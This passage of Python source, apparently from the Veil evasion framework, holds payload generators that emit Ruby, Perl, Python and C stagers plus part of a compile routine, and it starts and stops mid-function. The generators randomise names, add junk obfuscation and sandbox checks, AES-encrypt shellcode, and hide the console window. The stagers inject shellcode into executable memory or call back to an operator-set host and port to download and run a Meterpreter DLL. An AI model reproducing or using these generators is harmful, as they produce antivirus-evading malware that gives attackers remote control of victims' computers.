0x1000), 0x1000, 0x40)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" payload_code += "\tend\nend\n" payload_code += "ij(g(\"%s\",%s))\n" % ( self.required_options["LHOST"][0], self.required_options["LPORT"][0]) # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return
def generate(self): # How I'm tracking the number of nested tabs needed # to make the payload num_ends_required = 0 payload_code = "use Win32::API;\n" # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate variable names shellcode_variable = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() rand_valloc = evasion_helpers.randomString() rand_movemem = evasion_helpers.randomString() rand_cthread = evasion_helpers.randomString() rand_waitfor = evasion_helpers.randomString() rand_heapcreate = evasion_helpers.randomString() rand_heapalloc = evasion_helpers.randomString() rand_thread = evasion_helpers.randomString() rand_protect = evasion_helpers.randomString() protect_out = evasion_helpers.randomString() payload_code += '\t' * num_ends_required + "my $%s = \"%s\";\n" % (shellcode_variable, Shellcode) payload_code += '\t' * num_ends_required + "$" + rand_movemem + " = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n" payload_code += '\t' * num_ends_required + "$" + rand_cthread + " = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_waitfor + " = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_ends_required + "$" + rand_valloc + " = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_protect + " = new Win32::API('kernel32', 'VirtualProtect', 'PIIP', 'I');\n" payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_valloc + "->Call(0, length($" + shellcode_variable + "), 0x1000, 0x04);\n" payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable) payload_code += '\t' * num_ends_required + "my $" + protect_out + " = $" + rand_protect + "->Call(" + ptrName + ", length($" + shellcode_variable + "), 0x20, 0);\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": rand_heapcrout = evasion_helpers.randomString() payload_code += '\t' * num_ends_required + "$" + rand_heapcreate + " = new Win32::API('kernel32', 'HeapCreate', 'III', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_heapalloc + " = new Win32::API('kernel32', 'HeapAlloc', 'III', 'I');\n" payload_code += '\t' * num_ends_required + "my $" + rand_heapcrout + " = $" + rand_heapcreate + "->Call(0x00040000, length(" + shellcode_variable + ")*2, 0);\n" payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_heapalloc + "->Call($" + rand_heapcrout + ", 0x00000008, length(" + shellcode_variable + "));\n" payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable) payload_code += '\t' * num_ends_required + "my $" + rand_thread + " = $" + rand_cthread + "->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName) payload_code += '\t' * num_ends_required + "$" + rand_waitfor + "->Call($" + rand_thread + ", -1);\n" payload_code += '}\n' * num_ends_required self.payload_source_code = payload_code return
def generate(self): sumMethodName = evasion_helpers.randomString() checkinMethodName = evasion_helpers.randomString() randLettersName = evasion_helpers.randomString() randLetterSubName = evasion_helpers.randomString() randBaseName = evasion_helpers.randomString() downloadMethodName = evasion_helpers.randomString() hostName = evasion_helpers.randomString() portName = evasion_helpers.randomString() requestName = evasion_helpers.randomString() tName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() dataName = evasion_helpers.randomString() byteArrayName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() bufName = evasion_helpers.randomString() handleName = evasion_helpers.randomString() data2Name = evasion_helpers.randomString() proxy_var = evasion_helpers.randomString() opener_var = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() payload_code = "import urllib.request, string, random, ctypes as " + randctypes + "\n" # How I'm tracking the number of nested tabs needed # to make the payload num_tabs_required = 0 payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # helper method that returns the sum of all ord values in a string % 0x100 payload_code += '\t' * num_tabs_required + "def " + sumMethodName + "(s): return sum([ord(ch) for ch in s]) % 0x100\n" # method that generates a new checksum value for checkin to the meterpreter handler payload_code += '\t' * num_tabs_required + "def " + checkinMethodName + "():\n\tfor x in range(64):\n" payload_code += '\t' * num_tabs_required + "\t\t" + randBaseName + " = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" payload_code += '\t' * num_tabs_required + "\t\t" + randLettersName + " = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" payload_code += '\t' * num_tabs_required + "\t\tfor " + randLetterSubName + " in " + randLettersName + ":\n" payload_code += '\t' * num_tabs_required + "\t\t\tif " + sumMethodName + "(" + randBaseName + " + " + randLetterSubName + ") == 92: return " + randBaseName + " + " + randLetterSubName + "\n" # method that connects to a host/port over http and downloads the hosted data payload_code += '\t' * num_tabs_required + "def " + downloadMethodName + "(" + hostName + ", " + portName + "):\n" payload_code += '\t' * num_tabs_required + "\t" + proxy_var + " = urllib.request.ProxyHandler({})\n" payload_code += '\t' * num_tabs_required + "\t" + opener_var + " = urllib.request.build_opener(" + proxy_var + ")\n" payload_code += '\t' * num_tabs_required + "\turllib.request.install_opener(" + opener_var + ")\n" payload_code += '\t' * num_tabs_required + "\t" + requestName + " = urllib.request.Request(\"http://\" + " + hostName + " + \":\" + str(" + portName + ") + \"/\" + " + checkinMethodName + "(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n" payload_code += '\t' * num_tabs_required + "\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\t" + tName + " = urllib.request.urlopen(" + requestName + ")\n" payload_code += '\t' * num_tabs_required + "\t\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\t\tif int(" + tName + ".info()[\"Content-Length\"]) > 100000: return " + tName + ".read()\n" payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n" payload_code += '\t' * num_tabs_required + "\t\texcept: return " + tName + ".read()\n" payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError:\n" payload_code += '\t' * num_tabs_required + "\t\treturn ''\n" # method to inject a reflective .dll into memory payload_code += '\t' * num_tabs_required + "def " + injectMethodName + "(" + dataName + "):\n" payload_code += '\t' * num_tabs_required + "\tif " + dataName + " != \"\":\n" payload_code += '\t' * num_tabs_required + "\t\t" + byteArrayName + " = bytearray(" + dataName + ")\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n" payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n" payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n" # Assuming heap injection else: HeapVar = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' # download the metpreter .dll and inject it payload_code += '\t' * num_tabs_required + data2Name + " = ''\n" payload_code += '\t' * num_tabs_required + data2Name + " = " + downloadMethodName + "(\"" + self.required_options["LHOST"][0] + "\", " + str(self.required_options["LPORT"][0]) + ")\n" payload_code += '\t' * num_tabs_required + injectMethodName + "(" + data2Name + ")\n" if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): # Generate the variable names randctypes = evasion_helpers.randomString() ShellcodeVariableName = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_ht = evasion_helpers.randomString() known_plaintext_string = evasion_helpers.randomString() key_guess = evasion_helpers.randomString() secret_key = evasion_helpers.randomString() small_constrained_key_variable = evasion_helpers.randomString() decoded_ciphertext = evasion_helpers.randomString() decoded_known = evasion_helpers.randomString() decoded_shellcode = evasion_helpers.randomString() RandCipherObject = evasion_helpers.randomString() RandPadding = evasion_helpers.randomString() rand_virtual_protect = evasion_helpers.randomString() # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = '' # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode payload_code, num_tabs_required = gamemaker.senecas_games(self) # encrypt the shellcode and get our randomized key encoded_ciphertext, constrained_key, encryption_key = encryption.constrained_aes(Shellcode) encoded_ciphertext = encoded_ciphertext.decode('ascii') # Use the secret we received earlier to encrypt our known plaintext string encrypted_plaintext_string = encryption.known_plaintext(encryption_key, known_plaintext_string) encrypted_plaintext_string = encrypted_plaintext_string.decode('ascii') if self.required_options["INJECT_METHOD"][0].lower() == "virtual": # Create Payload code payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + 'import os\n' payload_code += '\t' * num_tabs_required + small_constrained_key_variable + ' = \'' + constrained_key + '\'\n' payload_code += '\t' * num_tabs_required + RandPadding + ' = \'*\'\n' payload_code += '\t' * num_tabs_required + 'for ' + key_guess + ' in range(1000000, 10000000):\n' payload_code += '\t' * num_tabs_required + '\t' + secret_key + " = \"" + constrained_key + '\" + str(' + key_guess + ')\n' payload_code += '\t' * num_tabs_required + '\t' + RandCipherObject + ' = AES.new(' + secret_key + ', AES.MODE_ECB)\n' payload_code += '\t' * num_tabs_required + '\t' + decoded_ciphertext + ' = base64.b64decode(\'' + encrypted_plaintext_string + '\')\n' payload_code += '\t' * num_tabs_required + '\ttry:\n' payload_code += '\t' * num_tabs_required + '\t\t' + decoded_known + ' = ' + RandCipherObject + '.decrypt(' + decoded_ciphertext + ').decode(\'ascii\')\n' payload_code += '\t' * num_tabs_required + '\t\t' + 'if ' + decoded_known + '.rstrip(\'*\') == \'' + known_plaintext_string + '\':\n' payload_code += '\t' * num_tabs_required + '\t\t\t' + decoded_shellcode + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n' payload_code += '\t' * num_tabs_required + '\t\t\t' + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + decoded_shellcode + ')\n' payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n' payload_code += '\t' * num_tabs_required + '\t\t\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n' payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + '\t\t\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' payload_code += '\t' * num_tabs_required + '\texcept:\n' payload_code += '\t' * num_tabs_required + '\t\tpass' elif self.required_options["INJECT_METHOD"][0].lower() == "heap": HeapVar = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + 'import os\n' payload_code += '\t' * num_tabs_required + small_constrained_key_variable + ' = \'' + constrained_key + '\'\n' payload_code += '\t' * num_tabs_required + RandPadding + ' = \'*\'\n' payload_code += '\t' * num_tabs_required + 'for ' + key_guess + ' in range(1000000, 10000000):\n' payload_code += '\t' * num_tabs_required + '\t' + secret_key + " = \'" + constrained_key + '\' + str(' + key_guess + ')\n' payload_code += '\t' * num_tabs_required + '\t' + RandCipherObject + ' = AES.new(' + encryption_key + ', AES.MODE_ECB)\n' payload_code += '\t' * num_tabs_required + '\t' + decoded_ciphertext + ' = base64.b64decode(\'' + encrypted_plaintext_string + '\')\n' payload_code += '\t' * num_tabs_required + '\t' + decoded_known + ' = ' + RandCipherObject + '.decrypt(' + decoded_ciphertext + ').decode(\'ascii\')\n' payload_code += '\t' * num_tabs_required + '\t' + 'if ' + decoded_known + '.rstrip(\'*\') == \'' + known_plaintext_string + '\':\n' payload_code += '\t' * num_tabs_required + '\t\t' + decoded_shellcode + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n' payload_code += '\t' * num_tabs_required + '\t\t' + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + decoded_shellcode + ')\n' payload_code += '\t' * num_tabs_required + '\t\t' + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + '\t\t' + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + '\t\t' + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): winsock_init_name = evasion_helpers.randomString() punt_name = evasion_helpers.randomString() recv_all_name = evasion_helpers.randomString() wsconnect_name = evasion_helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>", "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>" ] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100, global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" % (randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" % (randName2)) ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = evasion_helpers.randomString(50) randName1 = evasion_helpers.randomString() randVar1 = evasion_helpers.randomString() randName2 = evasion_helpers.randomString() randVar2 = evasion_helpers.randomString() randVar3 = evasion_helpers.randomString() randName3 = evasion_helpers.randomString() randVar4 = evasion_helpers.randomString() randVar5 = evasion_helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" % (randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[25])), (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, evasion_helpers.randomString(50), randVar3, evasion_helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, evasion_helpers.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = [ "#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>" ] for x in range(1, random.randint(1, 7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the winsock_init function wVersionRequested_name = evasion_helpers.randomString() wsaData_name = evasion_helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % ( wVersionRequested_name, evasion_helpers.obfuscateNum( 2, 4), evasion_helpers.obfuscateNum(2, 4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" % ( wVersionRequested_name, wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = evasion_helpers.randomString() code += "void %s(SOCKET %s) {" % (punt_name, my_socket_name) code += "closesocket(%s);" % (my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build recv_all function my_socket_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() len_name = evasion_helpers.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" % ( recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" % (buffer_name) code += "while (rcAmwSVM < %s) {" % (len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" % ( my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" % ( punt_name, my_socket_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = evasion_helpers.randomString() sock_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % ( wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" % (my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" % ( my_socket_name, punt_name, my_socket_name) code += "%s = gethostbyname(\"%s\");" % ( target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" % (target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" % ( sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" % (sock_name) code += "%s.sin_port = htons(%s);" % ( sock_name, evasion_helpers.obfuscateNum( int(self.required_options["LPORT"][0]), 32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" % ( my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" % (my_socket_name) # build main() code size_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() function_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() count_name = evasion_helpers.randomString() # obfuscation stuff char_array_name_1 = evasion_helpers.randomString() number_of_strings_1 = random.randint(1, max_num_strings) char_array_name_2 = evasion_helpers.randomString() number_of_strings_2 = random.randint(1, max_num_strings) char_array_name_3 = evasion_helpers.randomString() number_of_strings_3 = random.randint(1, max_num_strings) code += "int main(int argc, char * argv[]) {" code += "ShowWindow( GetConsoleWindow(), SW_HIDE );" code += "ULONG32 %s;" % (size_name) code += "char * %s;" % (buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" % (function_name) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_1, char_array_name_1, random.randint(max_string_length, global_max_string_length)) code += "%s();" % (winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" % (my_socket_name, wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_2, char_array_name_2, random.randint(max_string_length, global_max_string_length)) code += "int %s = recv(%s, (char *)&%s, %s, 0);" % ( count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4, 2)) code += "if (%s != %s || %s <= 0) %s(%s);" % ( count_name, evasion_helpers.obfuscateNum( 4, 2), size_name, punt_name, my_socket_name) code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" % ( buffer_name, size_name, evasion_helpers.obfuscateNum(5, 2)) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real code code += "if (%s == NULL) %s(%s);" % (buffer_name, punt_name, my_socket_name) code += "%s[0] = 0xBF;" % (buffer_name) code += "memcpy(%s + 1, &%s, %s);" % ( buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4, 2)) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_3, char_array_name_3, random.randint(max_string_length, global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "%s = %s(%s, %s + %s, %s);" % ( count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5, 2), size_name) code += "%s = (void (*)())%s;" % (function_name, buffer_name) code += "%s();" % (function_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "return 0;}\n" self.payload_source_code = code return
def compiler(payload_object, invoked=False, cli_object=None): # Check the source code to ensure it is present if payload_object.payload_source_code == '': print(helpers.color("\n [!] ERROR: No payload source code provided.\n", warning=True)) return False else: # print title bar evasion_helpers.title_screen() if not invoked: # Determine the file name to use for output file_name = input(' [>] Please enter the base name for output files (default is payload): ').strip() else: file_name = cli_object.o # Basic checks on input while file_name != '' and ("\\" in file_name or "/" in file_name): print(helpers.color("\nPlease provide a base name, not a path, for the output base\n", warning=True)) file_name = input(' [>] Please enter the base name for output files (default is payload): ').strip() # If no base name, set it to be payload if file_name == '': file_name = 'payload' # run check to make sure file doesn't exist, if it does # provide a new filename file_name = find_file_name(file_name, payload_object) source_code_filepath = settings.PAYLOAD_SOURCE_PATH + file_name + "." + payload_object.extension # Used when outputting exe files, go figure executable_filepath = settings.PAYLOAD_COMPILED_PATH + file_name + ".exe" if payload_object.language is not "native" and payload_object.extension is not "war": with open(source_code_filepath, 'w') as source_file: source_file.write(payload_object.payload_source_code) if payload_object.language == 'python': if not invoked: compile_method = "" else: compile_method = cli_object.compiler # Check extension for war or normal python file if payload_object.extension == 'py': if settings.OPERATING_SYSTEM == "Windows": compile_method = 'py2exe' else: if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y' and not invoked: evasion_helpers.title_screen() # if we have a linux distro, continue... # Determine if the user wants PyInstaller, Pwnstaller, or Py2Exe. print(' [?] How would you like to create your payload executable?\n') print(' %s - PyInstaller %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - Py2Exe\n' % (helpers.color('2'))) user_compile_choice = input(" [>] Please enter the number of your choice: ") if user_compile_choice == "1" or user_compile_choice == '': compile_method = "pyinstaller" elif user_compile_choice == "2": compile_method = "py2exe" else: compile_method = "pyinstaller" if compile_method == 'py2exe' and payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Generate setup.py File for Py2Exe with open(settings.PAYLOAD_SOURCE_PATH + '/setup.py', 'w') as setup_file: setup_file.write("from distutils.core import setup\n") setup_file.write("import py2exe, sys, os\n\n") setup_file.write("setup(\n") setup_file.write("\toptions = {'py2exe': {'bundle_files': 1}},\n") setup_file.write("\tzipfile = None,\n") setup_file.write("\twindows=['" + file_name + ".py']\n") setup_file.write(")") # Generate Batch script for Compiling on Windows Using Py2Exe with open(settings.PAYLOAD_SOURCE_PATH + '/runme.bat', 'w') as runme_file: runme_file.write('rem Batch Script for compiling python code into an executable\n') runme_file.write('rem on windows with py2exe\n') runme_file.write('rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n') runme_file.write("python setup.py py2exe\n") runme_file.write('cd dist\n') runme_file.write('move ' + file_name + '.exe ../\n') runme_file.write('cd ..\n') runme_file.write('rmdir /S /Q build\n') runme_file.write('rmdir /S /Q dist\n') evasion_helpers.title_screen() print_payload_information(payload_object) print(helpers.color("\npy2exe files 'setup.py' and 'runme.bat' written to:\n" + settings.PAYLOAD_SOURCE_PATH + "\n")) else: if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Used for PyInstaller standard # copy the pyinstaller runw to maintain its integrity in the event # pwnstaller is added in for python3 - this will future proof it runw_path = settings.VEIL_PATH + '/tools/evasion/evasion_common/tools/runw.orig.exe' os.system('cp ' + runw_path + ' ' + settings.PYINSTALLER_PATH + 'PyInstaller/bootloader/Windows-32bit/runw.exe') # Validate python is installed in wine if not os.path.isfile(settings.WINEPREFIX + 'drive_c/Python34/python.exe'): print(helpers.color("\n 